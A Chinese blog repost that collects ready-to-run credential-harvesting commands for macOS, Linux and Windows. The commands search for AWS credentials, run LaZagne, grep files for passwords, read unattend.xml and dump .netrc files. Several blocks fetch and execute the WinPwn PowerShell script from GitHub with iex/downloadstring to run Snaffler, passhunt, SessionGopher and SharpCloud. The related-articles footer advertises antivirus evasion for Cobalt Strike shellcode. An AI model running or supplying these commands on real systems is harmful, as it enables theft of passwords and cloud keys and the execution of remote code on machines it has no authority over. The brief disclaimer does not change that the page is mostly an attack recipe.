【信息收集】获取系统文件中的凭据

news/2025/3/4 20:06:58/文章来源:https://www.cnblogs.com/o-O-oO/p/18537499

免责声明

任何未经授权的使用或由此产生的直接或间接后果和损失,均由使用者自行承担。我们提供的资源和工具仅供学习和研究之用,我们不鼓励也不支持任何非法活动。"

查找 AWS 凭证,从文件中查找本地 AWS 凭证,默认使用 / 作为查找路径。

支持的平台:macos,linux

find #{file_path} -name "credentials" -type f -path "*/.aws/*" 2>/dev/null

使用 LaZagne 提取浏览器和系统凭据。

支持的平台:macos

https://github.com/AlessandroZ/LaZagne

LaZagne 项目是一个开源应用程序,用于检索存储在本地计算机上的大量密码。每个软件都使用不同的技术(明文、API、自定义算法、数据库等)存储其密码。开发此工具的目的是为最常用的软件查找这些密码。

python2 laZagne.py all

使用 grep 提取密码

支持的平台:macos,linux

grep -ri password #{file_path}
exit 0

使用 findstr 提取密码,从文件中提取凭据。执行时,将显示包含单词 “password” 的文件内容。

支持的平台:Windows

findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password

尝试访问存储安装日志的 Panther 目录中的 unattend.xml(通常存储凭据的位置)。如果这些文件存在,则将显示其内容。它们用于在无人值守的 Windows 安装过程中存储凭据。

支持的平台:Windows

type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml

查找和访问 Github 凭据,尝试查找 .netrc 文件(以明文形式存储 github 凭据),如果找到,则转储其内容。

支持的平台:macos,linux

for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done

使用 WinPwn 的 SensitiveFiles 功能在本地系统上搜索敏感文件

支持的平台:Windows

https://github.com/S3cur3Th1sSh1t/WinPwn
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

使用 WinPwn 的 Snaffler 功能检查域网络共享的明文密码

支持的平台:Windows

https://github.com/S3cur3Th1sSh1t/WinPwn
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput

通过 winpwn powershellsensitive 函数检查 Powershell 事件日志中是否有凭据或其他敏感信息

支持的平台:Windows

https://github.com/S3cur3Th1sSh1t/WinPwn
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive

通过 WinPwn 使用 passhunt 在此系统上搜索密码

支持的平台:Windows

https://github.com/S3cur3Th1sSh1t/WinPwn
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
#清理命令
rm -force .\passhunt.exe -ErrorAction Ignore
rm -force .\phunter* -ErrorAction Ignore
rm -force -recurse .\DomainRecon -ErrorAction Ignore
rm -force -recurse .\Exploitation -ErrorAction Ignore
rm -force -recurse .\LocalPrivEsc -ErrorAction Ignore
rm -force -recurse .\LocalRecon -ErrorAction Ignore
rm -force -recurse .\Vulnerabilities -ErrorAction Ignore

通过 WinPwn 在此系统上启动 SessionGopher

支持的平台:Windows

https://github.com/S3cur3Th1sSh1t/WinPwn
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput

搜寻本地凭证 : 通过 WinPwn 函数的 AWS、Microsoft Azure 和 Google Compute 凭证技术

支持的平台:Windows

https://github.com/S3cur3Th1sSh1t/WinPwn
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive

通过 PowerShell,列出 Windows 凭据管理器中存储凭据的文件

支持的平台:Windows

$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\

通过命令提示符,列出 Windows 凭据管理器中存储凭据的文件

支持的平台:Windows

dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\

原创 SecretTeam安全团队

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/893591.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Script-Server:用Web UI轻松管理你的脚本执行

# 监控 # 运维人员 在现代软件开发和运维中,脚本的使用频繁而广泛。然而,如何让非技术人员轻松、安全地运行这些脚本成为了一个挑战。 幸运的是,Script-Server应运而生,它是一个为脚本提供的Web用户界面,可以让用户通过一个直观的界面执行各种脚本,而无需编写代码。本文…

nuxtjs + scss + unocss + pinia 新建项目

1、通过命令行报错的,直接下载压缩包 pnpm dlx nuxi init <project-name>压缩包地址:https://codeload.github.com/nuxt/starter/tar.gz/refs/heads/v3 2、安装插件 1、安装unocss pnpm install --save-dev @unocss/nuxt unocss# nuxt.config.jsmodules: [@unocss/nuxt…

【Azure 环境】执行 az ad user show –id 报错 Insufficient privileges to complete the operation

执行 az ad user show –id 报错 Insufficient privileges to complete the operation问题描述 本地环境中,执行 az ad user show -id 时候,报错 insufficient privileges to complete the operation !问题解答 此报错说明,登录Azure (az login) 时,所使用的账号权限不足所…

VMware ESXi 8.0U3d macOS Unlocker OEM BIOS 2.7 集成网卡驱动和 NVMe 驱动 (集成驱动版)

VMware ESXi 8.0U3d macOS Unlocker & OEM BIOS 2.7 集成网卡驱动和 NVMe 驱动 (集成驱动版)VMware ESXi 8.0U3d macOS Unlocker & OEM BIOS 2.7 集成网卡驱动和 NVMe 驱动 (集成驱动版) 发布 ESXi 8.0U3 集成驱动版,在个人电脑上运行企业级工作负载 请访问原文链接:…

VMware Fusion 13.6.3 OEM BIOS 2.7 - 在 macOS 中运行 Windows 虚拟机的最佳方式

VMware Fusion 13.6.3 OEM BIOS 2.7 - 在 macOS 中运行 Windows 虚拟机的最佳方式VMware Fusion 13.6.3 OEM BIOS 2.7 - 在 macOS 中运行 Windows 虚拟机的最佳方式 VMware Fusion 13 原版 App 中集成 OEM BIOS 请访问原文链接:https://sysin.org/blog/vmware-fusion-13-oem/ …

VMware Workstation 17.6.3 发布下载,现在完全免费无论个人还是商业用途

VMware Workstation 17.6.3 发布下载,现在完全免费无论个人还是商业用途VMware Workstation 17.6.3 发布下载,现在完全免费无论个人还是商业用途 VMware Workstation 17.6.3 Pro for Windows & Linux - 领先的免费桌面虚拟化软件 基于 x86 的 Windows、Linux 桌面虚拟化软…

[51Nod 1558] 树中的配对

前言 这能不会, 这能不会, 这能不会??? 做了一会之后, 感觉确实可以不会 思路题意 带权树求一组排列 ppp 使得 dis(i,pi)→max⁡\textrm{dis} (i, p_i) \to \maxdis(i,pi​)→max结论 一条边最多的经过次数就是其连接的两部分中较小的那一个证明方法 \(1\) 调整法 首先点对初…

微信小程序快递代理新手必看:3种方法轻松上手

很多朋友都在问我,如何开始快递代理业务。其实,这个兼职工作门槛很低,只要你有空闲时间,就能开始赚钱。下面我给大家分享一下具体的操作方法。 首先可以让客服帮你搭建小程序,这样推广就可以自助让客户下单,是需要推广!以后客户用了就能一直下单获取持续收益了。 快递代…

2025.03.04 CW 模拟赛 A. 树

题面 A. 树 思路 先说结论, 每条边的贡献次数等于其左右两侧子树大小的最小值. 证明#include "iostream" #include "vector"using namespace std;typedef pair<int, int> pii; typedef long long ll;constexpr int N = 2e5 + 10;int n, sz[N]; ll an…

【python免杀】CS免杀+浅谈Python静态免杀

本文我们再来看看利用python进行静态免杀吧! 先用CS生成 shellcode 把shellcode进行加密放在里面并存放到服务器。 python BS64 shellcode.txt这里为了方便,我们直接放到了kali的apache目录下。 并启动Apache service apache2 start修改加载器的服务器地址后进行一次BS64加密…

【python免杀】浅谈Python静态免杀

本文我们再来看看利用python进行静态免杀吧! 先用CS生成 shellcode 把shellcode进行加密放在里面并存放到服务器。 python BS64 shellcode.txt这里为了方便,我们直接放到了kali的apache目录下。 并启动Apache service apache2 start修改加载器的服务器地址后进行一次BS64加密…